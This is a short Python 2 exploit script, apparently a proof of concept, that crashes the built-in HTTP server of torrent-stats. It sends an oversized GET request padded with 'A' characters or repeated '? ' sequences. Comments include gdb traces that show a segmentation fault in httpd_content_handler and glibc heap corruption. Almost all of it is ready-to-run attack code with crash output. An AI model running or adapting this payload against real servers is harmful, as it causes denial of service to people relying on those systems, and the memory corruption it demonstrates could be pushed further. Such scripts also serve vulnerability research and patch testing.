#!/usr/bin/python
import socket, urllib, sys
host = 'localhost'
port = 8080
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)
print 'Sending GET request'
# size = sys.argv[1]
# Crash at A * 16378
size = 16379
# DOS #1: gdb trace for buffer1
#Program received signal SIGSEGV, Segmentation fault.
#--------------------------------------------------------------------------[regs]
# EAX: 0x00000000 EBX: 0x08051258 ECX: 0x00000000 EDX: 0x20202020 o d I t s Z a P c
# ESI: 0x080537BC EDI: 0x080537B8 EBP: 0xBFFFF2E8 ESP: 0xBFFFF2B0 EIP: 0x0804AF72
# CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
#--------------------------------------------------------------------------[code]
#=> 0x804af72 <httpd_content_handler+306>: movb $0x0,(%eax)
# 0x804af75 <httpd_content_handler+309>: mov 0x20(%ebx),%edx
# 0x804af78 <httpd_content_handler+312>: add $0x1,%eax
# 0x804af7b <httpd_content_handler+315>: mov %eax,(%edx)
# 0x804af7d <httpd_content_handler+317>: mov -0x1c(%ebp),%eax
# 0x804af80 <httpd_content_handler+320>: movzbl 0x1(%eax),%edx
# 0x804af84 <httpd_content_handler+324>: test %dl,%dl
# 0x804af86 <httpd_content_handler+326>: je 0x804b12e <httpd_content_handler+750>
#--------------------------------------------------------------------------------
#parse_args (fd=0x9, privdata=0x8051258) at httpd.c:106
#106 *tmp++ = '\0';
buffer1 = "/" + "A" * int(size)
# DOS #2 : gdb trace for the buffer2
# *** glibc detected *** /root/torrent-stats/torrent-stats: munmap_chunk(): invalid pointer: 0x080537b8 ***
# *** glibc detected *** /root/torrent-stats/torrent-stats: malloc(): memory corruption: 0x080512c8 ***
#gdb$ backtrace
#0 0xb7fe2430 in __kernel_vsyscall ()
#1 0xb7e9b651 in raise () from /lib/tls/i686/cmov/libc.so.6
#2 0xb7e9ea82 in abort () from /lib/tls/i686/cmov/libc.so.6
#3 0xb7ed249d in ?? () from /lib/tls/i686/cmov/libc.so.6
#4 0xb7edc591 in ?? () from /lib/tls/i686/cmov/libc.so.6
#5 0xb7edf395 in ?? () from /lib/tls/i686/cmov/libc.so.6
#6 0xb7ee0f9c in malloc () from /lib/tls/i686/cmov/libc.so.6
#7 0xb7ed2437 in ?? () from /lib/tls/i686/cmov/libc.so.6
#8 0xb7edc591 in ?? () from /lib/tls/i686/cmov/libc.so.6
#9 0xb7edd80e in ?? () from /lib/tls/i686/cmov/libc.so.6
#10 0x0804ad26 in destroy_httpd_con (con=0xb7fc6ff4) at httpd.c:43
#11 0x0804b0df in httpd_content_handler (fd=0x9, privdata=0x8051258) at httpd.c:193
#12 0x0804a7a0 in event_loop () at event.c:303
#13 0x0804d237 in main (argc=0x2, argv=0xbffff474) at torrent-stats.c:124
buffer2 = "/" + "? " * int(size) + "?"
buffer = buffer2
s.send('GET ' + buffer + ' HTTP/1.1\r\nHost: ' + host + '\r\n\r\n')
print s.recv(8192) + s.recv(8192)